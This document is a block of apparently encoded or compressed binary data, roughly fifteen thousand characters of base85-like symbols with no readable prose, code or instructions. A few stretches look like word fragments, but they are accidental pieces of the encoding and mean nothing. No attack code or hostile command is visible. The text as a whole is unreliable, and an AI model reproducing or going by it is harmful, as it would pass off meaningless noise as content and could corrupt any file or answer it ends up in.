zGfsP1lb{dG(ss~()8uH)+DxrOYfl8GnA%TTwbrS%YU$bnZCHC!E79)JuGOyAuG1dS zp4D#FKGWXOzSiE>-q(K6zSTa`HcM@hTBB{3S}(Ot>Thk2)b6Pn+Fq$$Q~RWjNu8BC zE|r)nOf5}~r0z)lkh(Q>f9jsp?WxaFFQq<7t*v{I+AOU$wP#wlG;ta=&6_4k6Qr$3 zOHNaz1=D_}xzmc%Hl}S&yO(w#?P%J~v(ZN|Wi@9E<*re#nwW@m6S7#VXjSQ+w+)C^&U zBEyi8m64ZGm9Zh?V#c+M+Zi9y6ZAnK1I~zNyvTT)@iF6l#)pjW8Q(G*>Ko`A>09bs z>s#qN={x9q>j&va=x68`=vV5O>6hx6`bGK_y<9KSOZ7^e*IznF8vk#Mg2|v13j#Ns{gI8)7RGh($_P**VpJj z>ObjQ7+M*c8TuFo8~Pgh8TuRkFibFvF-$isHY_nLGO!GE1K%Jp$P99W!XP!M45z*a#cn8h;sEX1329Wa^ta%(O7GATuK~C)1i)mKn%g zo4GG@bLNiB8<}S_FJ<1&Jeqkp^GxQ&%-5L-`cORcVP+u6WL@oWt;q_O4A0@^6Jf|?WR4Z1Ezzf3#L1!xaqYCG{L5(=2qse=5FS` z=00Y-X{>p=d6s#ydA^xuUTWr>1!lRqvO3jlGTY2vbIe?9E-^>Vo6P6UJI%Fqf0@si zPn(aKU7>U4i{>llYvw!VTjmGmhvp|{&8mKT(TN{GIiq^|SS>wZ_``pWmV2`nI07PPXQ@g|_9kQMPfm*|v$c zMYeQXvJGd`*7wkI~k_SE*%_R$8~8f7)l8j#g5t9{nktUg)IvRY*I&svlv$(o)uF>7kp{H)1Y zwRPjNre#U9*jdS0oGeCGN|q^0ktNTvW?8aaS$AxL%+AS9Y?8^&%?@N2 zWmjcaW|w8J&EAo{JNrQP_Uym1_h+Z&oyk6%eKGq^_U&vi8_Rx?{VDrL_T!Sq_J;Nr z_V)I!_HOo`_I~yu_SyF7_GR`(c9NZLPqB0D0=vwfZr9mU?FPHaZnJ0G-S!;2$6jtP zw3pep*+ayw_D6Qq{=ojke%k)fe%Id2@y`Ci-or7}F~Bj}u{^O-G6%_vE^^FrkR3$F zFMFCp;}AO}jtqy(;dS^Oc8Alk%2DiC=UD6DItm?|96KHR97i4d9Y-9;9VZR5+E+QO-1{(V6MYa^^cD&MnSr=OO1-C+LKo&zv`%pPiqaHO@j; z1J_UI59d>7W7lJ6GuH#>MArmYXV*B_Sl1laR2RXu&^6jM+||X^)#Y)Oxi-71U29xX z*8o?6E7#?BSzY^F=`Ou%mCNVa==$vH;C|)0>Z)}$aNl>eaG!8}b2V`Tu8*!(?*8t+ z?jx=#?#7;=-HY5K+*-HEJ<)y9EpQ)jA9Gi`AGoi$ z54j(@ue(pU&${orSG)Up>fE2*T|8YqBRqXPoje^qzua>?LJ!@u z$L?9@@p{4@zh|RI?J4q;f36y~hW*_5+6Codl5;!fY0itB*EzLy&vG8+yvu2y+c>vrZc=W8+@Cq^a+~G0%KeekJag0HZX0ha@9*5Nx!-bIdvE5p^LF-j^7i-k^N#gS@=o;* z_D=UM@Xqs+ybLeLEAT444sVvX%B%OAUOUYB_ar0Dp+PsWBTb?~HkXMiw z$t%o@=9T7^0e>JrP!K2zSOX=2UV?3b z&4D9<-GM!U?Sa1n=L07KNB|Bz4Acf{0zU%{^Bd(i&u^07CcjmF+k9Mghx{vnj`^MQ zrTOaowEXmZM}BGk$^4`F2lKDxKg_?Ie>wkA{-ykv`LFVy<-_^E@|zYkE2zuwRnWVj zZ9$)cc?A;-#uQ8_SXPjrA75Osv|vR6p6@xkfAslkQ8dBIu16~U#!ML}GU7GwnzpFBZfP!y~PRtMJx zw*_|u{|-J3qCqJ5GWaf-8~Pk<6#5aY3APJ$3iS)M3iS?k4z&mk4owP83{4Gv58^|F z5HUmwwGJ%}%?c%l=pjx>7Se_cp^Z^p$QiPQ93gwiAM%BQp^c#(pWABhyM@Pv$Ap)Klf(3|Ff0zs!|7pNI4|rAJHuYLTI4|F@5qZto5GsNg2GXS3Hr~w74|ReUO1p|TH(aP>4mI9UZJ&6Qk0`Ez%bmi)=+HMb@IMB1chnk+V3r*k7Dz)fJZ%mloI7tt#GF zyrFno@!{e_#RrOy7GEs>sy$VFrTB93o#NZYcZ(kvgT-huRNOB*BswZOIyx`9B8rbL zj~b(_C@0E}a-)){E~<*=M@yoK0A6%+bVGDkba!-TbZ_*p=>F(|=+)?@=!NK&=t|$? zXsg(r=#OZ_SmRjJSch2aSi4x8Sm#)`*dMWBu`#i!v6-=1u?4Y3u_dv2v86Fqj29Ed zBr#d+CP^7finI(%#@FmMjlqK4d)PHt9y+|v`C`m8bT(YBNSIJ)` zr%O(ioGp1#@+xtZq*-bE(vGEFOZ%1fD(zkRM`_>E5v8L_XO_+?omaZFbYUr>ba^SU zlvKK+lv)}qEh+u8bX)26(!-_CN*|RzDZO8Mqx4Pb+tLrEA4`9helM+8)~2jc8C2S> zYy%I1{KFH4;JD5I9GEMu0@%D82MGI5!xOkSoeQ3ae3GB?&W>T`APzZ_q_vK&`VET@-eloyt}%ERT+@>qFw`Kt1b<$KGImtQPDP=2=jTKSFg zo8@phRF0J2E(gn}ReUV}Q2xHWQ$@#$W)&SOT2?f!Xj;*}qIpHbicu9kDh5{kQPHnr zOvU1gaTSXyW>utA@G7JghKkIJc*X0A_Z7`5n^wL`g!LL%4yzngxubGGWuM9gm7OZv zSI(`RT{)|AQRR}#1pSxnN=~Jyl2}QoWK`-ZeU-VDTPn4c=E}0lb(NbccUPXSJW+Y5 za)0H)%CnW%Do<8EsJvDAy%MW@Q~9p4wz7LwkE-5P`YKbEt;$j5t;(wkR7I+atHM>4 zRex4(s@h+*xoTS#KX$q5YSp!>>s7a_9#=iBdQt^cp;gbT-c{AseXjai^{whh)z7M5 zRkc-3s+(5-ZRk|puX;rFtmo zz;a*(uoA!lcz^&90TMt4C;$~m250~sU;rrq6JP;sfCF#=9>50#fDjM?Vn6~&0U00% z6o3*?0ct=4Xn|B94M=S01Tp|UU;vCjCXm>k2v`6sU<0y%Y`_jU04LxA+<*tj0dfH^ z-~;?X9uNTXfdU{1gn%#*0SbX4pcse(F`xt}1*QD0>^;k zzzN_aa0)mLoB_@P=YaFT1>hoZ3AhYg0j>hqfa|~w;3jYjxDDI^?gICK`@jR>A@B%z z3_Jmz0?+gB`$* zU?;FM*ahqgb_2VEJ;0t|FR(Y*2kZ;>1N(ymz(2r&;2>}?I0PID4g-gSBfyd1C~!15 z1{@2H1IL3Cz=_}_a56XroC;0@r-L)VncysNHaG{I3(f=QgA2fg;39A_xCC4ZE(4c? zE5MZ?4#a~5kO-1MGDrcbU@}Mp=^z740hu5RWP==#3-UldC;)|^2o!@7PzuUGIj8`Y zpbAuj8c++Sf@z=*Ob0VSJ!k-pV1oX~Owa_HK?`UFZD1Cd4cb8m=mcG$8}xuVU@qtd zeV`xA0|Q__SO5mW5Eup{U?Erp7K2eR29|)OU>R5rR)CdY6<7_f0#}1;z_s8y@K10( zxB=V8I(P%T3El#4gLlBY;63m@_yBweJ^~+u zPr#?(Gw>ht1_Z(&0-_)W#=+;{3-BfQ3VaQ|0pEh}!1v$>@FVyM{0x2pzk=Vu@8A!x z2K)*B0&BtFU|m9wTo0-bHGmpIjiAO*6R0WF3~COwfLcPWpw>_us4dhEY7cdQIzpYG z&QKSqE7T3@4)uU~LcO5gP#>r-)DP+p4S@cD210|N!O#$BC^QTj4vm0DLZhJ3&=_be zG!7aMCFp;e08NA@L6e~=&{Sv|G##1&&4gw_v!OZATxcFNA6ft{gcd=Ip(W5#Xc@E| zS^=$ua1b6MKtzZHks%61g_0o}M28qq3dDq15F6q^T!;tpAps17w6UAroYVERYqlL0M2XWQQD(6LLXr$OGj-xsVs~ zL4GK4Bm>Ha3ZNhqg2GS)DujxlVkip5pc1GQDuc?Q3aApQf~uia&}wK6v=&+i{Rypy zHb5JpP0(g&3$zv525pCSKs%vb&~9iCv=`b3{RRCE?S~FP2cbjIVdw~S6gmbShfY8z zp;ORl=nQlgItQJHE|ZU8rg8^Mj?CU8@@8QdIh0k?!(!L8voa9g+?+#c=#cZ55^ zo#8HUSGXJ89qs}5gnPlg;XZI*xF6gf9svIV4}=H7gW)0YPg(4--YkN_u&WdL--N=7=8jj zg`dFy48qVq5*`?ZF*puChhM-i6ZBufui-cFTlgLP9{vD-gg?Qb;V4J1cx*^?>9!O857t$N)gY-rEA^nj7$REf+WDqhK8G;N&h9Sd|5y(hn6fznagN#MS zA>)w=$V6lkG8vhIOhu+4(~%j-Ok@@^8<~U5Mdl&%kp;*?WD&9$S%NG@mLbcL705~i zhu{$cLPSUi8KEFlBpIP0bcBJVAWVdXun`WzMR*7w5gYCSpR&hy}4CHY5wlM(l_KaUw3njd+k8Bp2}_KE#jY zAps;GDL{fq2niz*q!1}WijgQ1LrRcRqzoxXDv(N~3aLg`A*+!!$Xa9_@+Yz$N$g=n zHX@sl&BzvHE3ysQj_g2oBD;{?$R1=bvJd$S`5W1f96$~thmga_5#%Ux3^|URKu#j3 zkkiN+ns2|Nk z186>4fCkYJ8b%{%AzFkMqfs=5mY}6*8Cs53pp|G9T8*wkSEFmtwdgwZPjo%H0o{mh zLN}vZ(5>h;bUV5O-HGl(ccXjIz34vlFZ6G8KY9Q?h#o=@qesxA=rQy-dICL(o9qWPh#Cl=9vD&&mSYNCk)*l;y{eca{24RD-A=prC7&aUmfsMpQVWY7z*jQ{F zHXfURO~fW)ld&n-RBReH9h-s8#Aac$u{qdWY#ufrTYxRZ7GaCACD>AI8MYi-fvv=F z7#<^FM2v)yF$zY-k}(=a#~4@&#>7|{8{=SHjEC_t0Vc#mm>82_QcQ-)F$Jc?RG1pm zU|K8{OT%vte0SHfF~hm=kkhZp?$_V7ZtV^I?804+~)V zSOFHqLRc7!V1-x_R*Xfl7*>LnVr5u4mZ1Nm0;|NTuxe}-wi;W5t;N=1e`4#g4cJC( z6Sf)Kf^EgNVcW4C*iLL0wj0}n?Zx(Ce_?-P`>_MqLF^EA7(0R;#g1Xeu@l%y>=bqy zJA<9Y&SB@V3)n^M5_TE8f?dU~Vb`%6*iGyfb{o5c-No)<_pt}q!vy_D*kkMo_7r=D z0T_ru7>pqpieXqBdyc)pUShAX*Vr5EE%pw3kA1*CVxO?j*ca?8_6_@v{lIFlpV%*~ z7W<9WCFGa&;`QSV;tk`C;*H}?;!Wet;?3hN;w|H?;;rLt;%(#Y;_c%d;vM6i;+^AN z;$7q2;@#st;yvTN;=SX2;(g=&;{D?T;(x>k#s|d*$A`p+#)rj+$4A6R#z)0R$H&CS z#>d6S$0x)m#wW!m$EU=n#;3)n$7jT6#%IN6$LGZ7#^=T7#}~vG#uvpG$Ct#H#+SvH z$5+Hx#&L0coDe6*NpW(V5~s$Kgiij=#4yfU%($q9V_n;{ttTBPJt8HMn~?t?>&S)V-Q*|a)-@FrKV=i8j*>%V(8RQ@wDYuc zv^F(uYpUqG=`9#!29v>N2pQ`b2N}uCgzzl7gGuwL**$P-nHu8MHtBuOX9 zbV)PGC`oV09}=;ICSge0*Q85IC95R6CC4N+lGf6pKP1vaQj+Yrw4Q8%?3%1YjZEIL zrbG@UWGza?B1O6)O93em#a-oW6-$+)(yAV+8me>ET6N;R{4=WFs=lWFuKuY0rJkx` zX$EU%XpU*T+I`wD+D55OQir5^Qn#eGNo$zKN?Vk+IIUC7iL~EoyL3krqK?ir#`GiU z7t-&h!|6BEn`C@RACxgHV`#>x3_*r3qdKFWUaNN+DhySIa>IHgrme}n(1|Czsk%~wA;FFWsj;B%mT zz9D}=&9#C*Y6jLwLr+74YC44nhaZOTg`bAsgx`jdFdA+gX&Y%CnHHH7nGwN77!hJ* zYD5~@5HUtFBk{<+$b-oB$l#hg5g>9aGO(~;;m^pBn%;$VkzR%M3sVbeh3g8>7CtTf zUO2XBVbPMJNb%zzLu)FdJEG%b(_`~vD`WT=F-DEiO2j3@YKGSgE*()*Rf;QnP?n(o z>v5UBTvr|}-&KC7JgFkJQdv2&rd!pGs(K0MR&8Bf(xATel5XYvhpi~_j9gUQRH{s! zpc*1goVTZ`O>EQ4#97_iIxD5N?p&Z%;;)3cIxx#*(!qv$cnWzh=|BA`wRKAqc9VY` zCtb%69{-QyggE{mv&o?G0}@t~WeK-Q#rVqcRpSfB|KmH_f3h{`R0Gm?EGJyn~Ae+|HseH|J9k9 zp#S!N&+PnPotuf>%m2sE&i}WWS^vLu5J7eSzA7cy*ZfzGqW{Wf1l2W28au9YzkdBD z_W$>MU!Bx1DeQNJUKYP@@i3F8DX=>jv3J)|ZS{S+@B_58)ZI&gmbyUQ-6bR;0YV^<5P}oj-Caw7Qlswf?(Xj1 zZuh#7_e<}2=B#-~f58@enyF;82=tejg$qUpNBb0DrCV z5E-K3h!=su*7#~<*cxB6b+i9b5xd30z(ql##lej)^Tokp7@ib|S~SXRzhO36ge<~2 z@{iZQUc|0!EMj+05NX@}T@ib)8JYzFP6kEv-(I2_n%^kgqM+aZc%WHpi+#V zEQpj|O*E}^O~7Gn5)XgxKe_}2nEyL#0BkdcCE)*f5okWU*{Z*J49(t&qRi!r=>Lew z(1rS~Hj4g9Z9F%iQEmMChuSzmopR2?PV^O6hM|8G8#}x*C+HS$Es)l)tv>wQ7K3Qm zFmo^O0YgQ0c0)x&9$7bouaV(a_M!pi-WH%FSau%OPth-zHw(iiux+@5eRLgh6xJKgftEF|XKZr-O zK)W3~8->U3u->Kqv+%gh-nvUuYwKp#?L^jnnpwBEw6JETSBPM$^9t%T&? z_v8lnb2E`S{O)p*6-XMXqUzuGqAf+OM6E?_L~TXwMD0Z#L>=J{G+WeMlq>2c>Mp7P zVWXF*x5!%5N7N{BWQa0B;%Fi2D(Wf96XlBvM1`UvQB#qns2NBc<)SX4O3_kLmBY%l&<7X8<|=r8=U*!BR-lo6l{pZjeD zofZ9`bkVaQw)GX=`Uhg0H`qUka6i54-_Yfg!8!JXJNo@_rH%xBELs!;&qHydc&L%A zhpX~*(R1k3-||2Q_g^vn1_|c<=O^I)`uR6VF#oTbf%{|r4HC@% zt7hQ-D<~0CEsHgd9eWAV-m7$Z_NZauPX(oJP(d zXOVNrdE^3e5xIn1My?=Nk!#3x-4n>Ed!_g6_1L}y5L`R{c z(J|;)bQ}r^mW)RypcBza=wx&XIu)IUPDf{;GtpV-Y;+Df7oCUBM;D+A(M9NDbO|a( zolprXMP(>d|Dy`j1$9N;P$lY)s!*U}P&Mj>dZQXti~68C)ECvGeyBehfCi#LXfPUr zhN1>E3=Kyk&`2~2jYeb8STqieM-$LQGzm>cQ_xg24NXTg&`dN7%|>(3Tr>~OM+?wG zvG3G^g-3O$XU zLC>P+(DUd8^dfo*y^LN#ucFt`>*x*iCVC6Kjov};qW2mTEWM9DKp&!y(8uT#^eOrb zeU83BU!t$j*XSGcE&2|9kA6TK{bCHoQ354V3Z+p7Wl;|0Q33skenLN^U(m1UH}pID z1O18qLK{#M@bG4sIc9-1!J1;0STn3SW`(uDT4JrR)>s>?E!GZek9EL0Vx6$gSQo4- z)(z{9^}u>!y|CVxHP#2S!E7-*tS{CNv&Z^l1F(VEAZ#!;1RIJC!-iucFbB*L8;L=J zWuvgs*cfaqHVzw)O~58%ld#Fy6l^Ls4V#Y5z-D5zu-VugY%Vqrn~yEP7GjIA#n=)| zj5%QvOp3`cXH1SMFc-`fbHkLFJEp=sFi%X4d12m|2Ge3b7!>Yfddv^=#{#fGEC>t6 zLae}#+6M z25cj?3EPZq!M0-CuD4!LDN0u}F$v<+rfg*d6RHb`QIcJ-{AfkFdws6YMGW z4112fz+Pgnu-Did>@D^Vdyjp<5Uf$M#xVjTF$$wG24gV}<1qpIh<(C7V_&eZ*f;Du z_5=Hg{lXeB6DGpVaC6)OZ-O_)E%9b}bKDAVfw#n4;jQsDI3!r!7H@~Q$2;I1@lJSW zybInH?}m5Bd*D6sUU+ZZ8t;SK;I_CO-WTtO+vEN50r)_C5Iz_mf)B-q;luF}xC8Ep zkHkmeqwz8LSbQ8l9-n|u#3$jC@hSLJd>TF-pMlTBXW_H)Irv8}KkZ9FM>w@hChRkHKT{I6NLtz!UK#JQ+{HQ}HxB9nZis@hm(W&%tx? zJUkySzzgvrycjRROYt(i9IwDD@uhebZp5qc8oU-?hS%ZC@fG+=d=mX zdVB-E5#NMw#<$>G8xyS9hHuAr;5+eM_-=d;z8Bwz@5c||2k}GrVf+Yw6hDR^$4}rV z@l*I|{0x2;KZl>kFW?vPOZa8{3Vs#8hF`~T;5YGG_-*_Seiy%o-^U-|5AjF%WBdvJ z6n}<4$6w$t@mKh3{0;sVe}})vKi~+C;*F*`fs;6e(>Q~(IEVANfPch4;h*s@_*eWJ z{vH2;|HOac4Y&!Ac{9SCuppWcO$ke)8PS}uA|S!a7DP*;715e#L$oE@5$%Z%L`R|% z(V6H%bS1hG-H9GVPofvmo3JMO5H^G@VMp{O`Vsa-e_{YJkQhV^CWa70iDATWVg%tp zI1(d?QN(Cs3^A4%M~o*X5EF?>#AIR$F_oA`Oeba#Gl^NmY+?>EmzYP)hcl?JTtF-& z77>eyC4`u8A|!;AkP*&=oKO%hge&1jC<%8$MR*XNgqrXoya^4VC42}S;Y;WVKf<2~ zAOeXXBA5svLJ0#AMuZa)L?jVKL=!PYED=Y<6A45jkwhdDDMTufMx+xNL?)3%WD_|= zE|Ev%69q&eQA89IB}6GvMwAm3L?yA5s3MF+HBm#<63d7>VmYybSV^oRRulEa8e%Q6 zj#y7@XiRYFMq(4Onb<;XCAJaUi5 zA-)pdi0{M?;wSNoXdq04h%_V3Nei+G*_5;-n~}{)E3yUIl59n`Cfks0$#!IWvIE(X z>_m1ZyO3SUZe(||2icSCMfN7G$v&hFX-nFXeaU{LJ=vceKn^4ak%P%0uASNfqfqdXj3=i}WTnq?Ys{b)+w;C;do& zGJp&ugUDbqgbXDOWEdGvMv#$Y6d6s%kg;SO8BZpViDVL)Os0^jWEz=HX22QLS7nk} zWHy;Y=8}12K3PB(l0{@OSwfbQWn?*7K~|DW$tu!FR+BYkExC-WBbSpa$d%+Oay3~` zt|8Zw>&W%w267|0iQG(XA-9s-$nE3~awoZq+)eHw_mca_{p11iAbE&9OdcVRlE=v7 zlF!KJ%qFPgJsJ2u)sy)?# z>PU5>I#XS!u2eUwJJo~gN%f+7Q`S@;3KBHhP_~pE)tBl=*;DK@LIn-Qg9yOm@ zKrN&eQH!Z1l$dg&B$SkrQO=Z{Qcy0GE9FKhDR)Xmc~G8|n)0H&DGjBid?+2|OX(>; z%AX3L0;wP>m;D%P)Dg_ zjR{sCr%q5OsZ-Qx>I`+3I!B$SE>IV#OVnlR3U!sbMqQ_FP&cVt)NSexb(gwF-KQQ< z52;7gW9kX@lzK)zr(RGmsaMo%>J9aldPlvdK2QjSQW%9(1VvI5MNM4Qp(v<2OSZc1Cy&FJQ|72SevNw=a~({1RsbUV5| z-GS~%ccMGfUFfcKH@Z9BgN6iadeXh<-n2E{hqj?@X*;?v-H*1X`_lvHf%G7HFg=7G zN)Mxl(<5jH+L0bfkD^D@W9YH;IC?xifu2ZDq9@Z+=&AHHdOAIWo=MN5XVY`&x%51G zKD~fmNH3xn(@SVE?L=_ERtPN7rjG&-Hm zpfl+#I-Aa+bLl)fpDv&a=_0zAE}={5GP<0upeyO6bQNu+tLYlLmR?5J(aY%-^h$aa zy_&A4*U)R}b@Y0A1HF;nL~o|I&|B$k^mcj&y_4QW@22$zmA*z_r*F_V>09(|`VM`UzDM7u zAJ7l!NAzR*3H_9QMn9)t&@bs%^lSPJ{g!@5zo$RY2#wMhjnf28(iBb849(IU&C>$? zk^V$~ZcMQD3;mV;Mt`S&&_C&4bOUXoMT{9^&R8%_n5K*+(~N1(STQY_mP{+AHPeP^ z%d}(KGaZC5zE?3w<|0A?UFh#AZb zVTLlpnBmL_#({BUMlz$A(aacTEHjQ7&rDz@GLx9e%oJuSGmV+f%wT3RvzXb;9A+*v zkD1RbU=}iqn8nNzM$9-d5=P3%7-vS#K!VE@j0@w+xG_q`ol!9!j3=XJyclmr!)O^F zM#uOvdd83OX9Ac&CWr}ULYPp-z=Sd3Oav3jL^07!3=_-5G4V_SlgK17$xI59%A_&r zOa_z5WHH%H4wK8|G5JgZQ^*uC#Y_oP%9JtXOa)U3XHdUvDO1H5nQEqnsb!WibR z1+$V_#jIxPnKjH>W*xJh*}!aMHZhx-EzDMC8?&9+!R%yqF}s;P%wA?6v!6M@9ApkL zhnXYHQRWzPoH@aqWKJ=snKR5;<{WdLxxidxE-{yxE6i2q8grew!Q5nSF}ImJ%w6Ul zbDw#@JY*g*kC`XTQ|1}-oO!{#WL`0^nK#T^<{k5%`M@9y%3uu65Ddvs49zeM%W#be z*71zMd}KZ`pP4VrSLPe@o%zB1WPULXjENDkW~@1D!8T!=vX*Q!wmECXwqRSbt=QIV z8@4Umj&09&U^}v%*v@Phwkz9>?auaKd$PUQ-mEp-hqYmCSv$5b+mE$p`?CYsf$Si5 zFgt`D$_`_Pvm;ms780y;WJj{2*wO45b}T!N9nVf+C$f{+$?Oz%Dm#sx&dy+Gva{IP z>>PG3JCB{uE?^h3i`d2N5?0JQu@Y9w%2;Ps&MH_J)|GW*m8?4pxDD&cs#!1Ao7J#d z)`!)xzO0`0WBu6xHjoWsgV_)^lr^wnY&aXiMzT?CG#kUlvT zL+oMp2z!)0#vW%+uqWA5>}mE4dzL-No@Xzx7uiefW%detmA%GZZ%lCc4fZB`i@nX> zVehi{*!%1Q_96R-eat>#pR&)`=j;piCHsnf&AwsZvhUdU><1QMQ5IuymS9PiVriCP zS(amYR$xD}pV-gr7xpXrjs4F4V1Kf|*ap_bia0aQoU`DXa7{T&t{K;yv*KECExA@) zYpxB~mTSkg=Q?m5xlUYXt_#&A8GdT>3tUR-a^n(M>aaJHNs*O%+Z*>nB50o*`t z5I2|`!a;&7hH}HW;oJz$fpg?Wa-+D>+!$^wH;x<6P2eVSleo#;6mBXvjhoKR;AV2O zxY^tsZZ0>Eo6jxa7IKTY#oQ83%sFuqPRhwRXHL#3I2X>9bK{hpJE!72I8RQ^d2!yH zhSPFBoR0J5^qe2(&joOSa0c}&g1BHVgbU>iTo@P5MR1W^6c^3KaIst*7tbYdiChww z%%yOtTpE|oWpJ5X7MIQCaJgI_m(LY&gbT|H3T`F0id)Uqb8EP@+&XSOw}IQpZQ?d_Tez*ICp|O$(`a(b7#1-+&S(%cY(XeU205l9ENM{*QL za}39F9LIA4_mTU=edfM!U%7AGckT!Gll#Rra3)T~oAKtn1>b~k%3Jcyct~(%bKZ(? z!MEgF@vZqbd|SR9-=6QlcjPKarorPv)oaQ~7E9bbbau zlb^-U=I8Kp`FZ?&egVIbU&Jrwm+)fViI?zFUdB7~a$do^@UFZYujJi%74N}&@@n3T z_vSUcmiOUxyf2*p^i_J^kN4*T_&`3059UMoP~O0Y@!@;~AIV4Y(R>Ua%g6EYd;*`y zC-KRA3ZKfS@#%a9pUG$O*?bP4%jfa=d;wp`7xBe>317;W@#TC4U&$}!t9T<{&DZd? z{4&0dU(T=KSMsa))qFj_hF{CCYfNy}dVT}Hk>A8`=C|-$`EC4meh0sk-^K6d_wal9 zef)m@0Dq7_#2@C5@JIP${BiySf094NpXSf-XZdsddHw=_k-x-W=CANq`D^@j{sw=O zzs29?@9=l|d;ER=0soMH#6RYr@K5jzvkcYZ~1rpd;SBD@F(5rzuGgyF&n!9j2oMhc^Z(ZU#EtT0X(FH8_73X_D%!W3buFin^) z%z!hfUp-TpCCnD)2y=yb!hB(YuuxbeEEbjsV!=s}2vR{NI16$?A-D*xf}5Ze+y#~3 zA$SUE!AtNKG=f&}5p;sDpcniEe<45!6oQ0cAw&oj3__R?E<^~CLX;3K#0arMoDeT0 z2#G?HkSwGKsY05NE@TLqLY9y%sAW!cw71FbdT| zjZiBr6Y7NJ!U|!fu&Ob^dXYmblbM6LLmSfoo1Uf~ramS!lS9KVlf8|kLE0c|I4F`g zC>mTETpK)09c>&NI@yeBh_WBu;MCCEWMvxDFt$Nu@-&TW7~jyzp|it;hKUXB9NIff zYM9*6!l9+Zl!mDd%^j>9rZr4&Xywq_VMfEuhBgju9cDGmZcsM3H$Z~*ss@h+&jxkF z-}d(PcCdCBV>8mm!enV`VVY#KQDot8)&8daUi&@vH|#C@H|>AX{(^nI{c8K;_Q&kk zj%;eXQ}os}&2-&-LBqm^B@N<+MGcD^yc)b4Gz~3HtxXSM0(iHmhg~m|wW+sBZ|7&{ zZD(yKgPl0q2A>99gKvYrL2VjjH`s2yosC@|yOVZzM%^AY#BR9V7`xGS)BDftUu9Qo zS8iKrTV`8fYqYJlt+lPOwYTeQ*VY6Hu9kK%Rbva$3E9S&%V^Y z#Jv^}nmU;}o4S~~n!1^~o4jo`wpv>sTb=Fy+68axVCT@+ zp`U}jLw|<>4g(zqIs7us1_{{KWM}GY>SwYy^*0SL4Kxih4K@ui4K)oj4L6N2IhY(x zBTb`BqfKK>V@=~s<4qGx6HPNrGflHhvrThMb4~M1^Gyp(3r&kmi%m;RVw00eVv?F< zCTEk}q%gTOX1CVWo#m1Aqi zHjZr_A-lEh9NRl~aO~*V$+5Fz7ssxS-5k3+_HgX!*vqlEqqSonM;k|5M?1&9j{O|% z9s4^Da2)73$nmlHW%DcM7tODl!{@M0Bvy*e#1`UNVo!07xJZ0NJWc8=4FWk#Br}uM z$vQjFaQ1M%CA*KoSjLiSxY%lR_+^L<7#P`Jyz@2+5ekXnm`rI7pY*5<@ zK#Kh){Vx3~Z6RANTP17iZ0X$9xwrF6@j~YX&Kl634Pc`kb!MF3ISZhG)6N(uXg{65 zI)8E|oIg0@;J|avtn+)2(SA5Tb$Q~_1$?dg^~05p$|z-wQlZLJP4+-N5zh~v=4uPj zF_YA0UfsO9dY$)bp>@{EwKA<#yWaPM?{L4NeuMpn_zm;(3A!HCKDb@*_~04A(}Sl5 z?~KTb%#VB)^&zTTbf4&f(SxELq8+10Mvsavj82Z(5pyzzj(HmUCRT`@7=I!@D&cB^ zwYZO1CUzDFh-<~`#2dux#U^m}x;wRS>g?3oshv}Mr?yVK__O$jm=z1+Ut%+-mQD+# z^Q3d7^QHb$NN_{Av>4R7uCn&B4q(%D0dKImv#qm@bC`3uvz5H9yp_C#yq(-k-csH~ z-d^5X-dt`WZzH#qcaXnwdExThWt6Lf>p<6Gu0vf%xDImduI!;42O?RPGESMPOjgD# zGr%8nRk^8hRe7pxRX$kvUBK~r;b{qGRumXn^&8rH^#qgi0SNG|KyPZNZ4{c^v}1iS zU(}cMrF?n4pttgy;y2pQ(Qk~OZICV~F{n$hXRvFqGT1BFJ6Hm?j3!tWyaWW;urRL( z&xn+mZwZk}Uz5hB7Nj0eHA}NdYX#l^qoC72KdmsWDD7=}W7Ega^i~-?Gx}tNW<)?w zeo)Tzyv2Dwpo!ZWM~XLzm%tXuc_0<4okoLMr~tW8;v{vN;xy4|ywfZvxzl8)xlTT? z6K(oN4<~P@5l&*Ku}(^`4d;V$xLCSKx?OwU_mi4Fd6RplqvbvuulOo2)PF zh>mvd4XU2Ce5$-Zh7!?Z>OzDRj4Xe4fU7~&e}AOsUBs&Rkb1y!n2jSRGq6X0Qb3xS068(mlo8q zc&|rZ*SsEjT?bo?0AURG>Y#0}&C*tDjoLJAj5c2zqAdVVD+L_gNNt7Ipsmq{YOA!B z+H!4x0+jf$;=RRNORkjEmF_A%Q+lEFeCfH;*Pi8NYs$8iZ75q? zwxIk%`L*(q(5LNa9BdqF><=ntq_|LA2Nvd5@iwu+X@yg0U>Q?OGVNS`@QnIK(8 zgL@eO>ZQ>s1^ml$rvxWCSd$8AfHYPbBaH(+@|SdyY`kooY@*BooXD}V8L|_yqcWMZ z+}Ro2Vm;W6anAA151j8gKXeA{xY1bLY?Q~ztH5DQ1d}lfOvW5}5_pW^;4&7;m&vtq ze|aH@u_f~FE}5>eu7ThdYFzcMI@cuEUdjc^dCK|9*-E+cgz~8Jp7OAAhw`@ag7TK~ zy7H>>uJVd*7Rij$2s#VpgdU(wDnBxHnZk`JkU%kg6kIf!i zJ$8HS_2>p_UKe#|Q1jZWi%8>K)OrwN(aj>3ADObUcbCPd6~T0 zdUx_3;XTH?i}zsf&fd1(13<1D;@#7`i?*|Nns%yox;7OQwrkpR+LK_i9oF8_J_Wb= zF4%2XwU@M;w8yo_w70a6L2J9N-LHM3-K~A3eE_E01?@KN4eeCljlRcxzx#I5chtAi zTk6gAZS*32TWE!9p@#&wG}E{CYv~sP-dL4ixZiTWNWWOWT)!25)qV!h$Wp;1OYtl7 zi}qXQSNU5ei}33kq!01~8>=H2S8s#SU;*T+Yr*e>_kv}0BKTPFo8Ya%_d&Kg1j5zf z;L{*mH40Z;@X6q#pcX$3z7o6*jH_qC4}xC>LxNkX!b(7MDge`ID5y*0Bj!i=MFd2g z0#E62#KVYN5t}17MXrk68o54l3P?n?;1Okk1H{LCglfKDu~Wg=nGt_E{!)AbxH#Vv z8j|Foq!gw$1+RO3+M2Z8Y4vGa(>AB=OWTsR6N>v9(pzWj%~+99o3TCPIQSrkGj@Xz zvOZ&H#-WV08M`u0WE{*8gM86j=AU=94GC_Y2`%xcQC6+4UM1cRPVQ@`{Z2cbPCC7Ey6tq+>ABNcrvu=+zI3|c^w4RC z(=DfSPG>-Pz2Wr2>7bLVv;tJs)l#u+mTaMH37DvhWb*XzKAP9REdF6X`@b2wx<8ANV z#(SXm67Mi?e{Ze#T<{eeZN)%P7H5De*u}@n=cks^n)%S$U)p9qoc0UcjZNRiXi05@ z_M^5v7=zP%=YY_6-1m*Iy?&V9Mn6D5Lf=O}Q11xsWnc6rzq@{%-#x!uAmSbH+v)cS 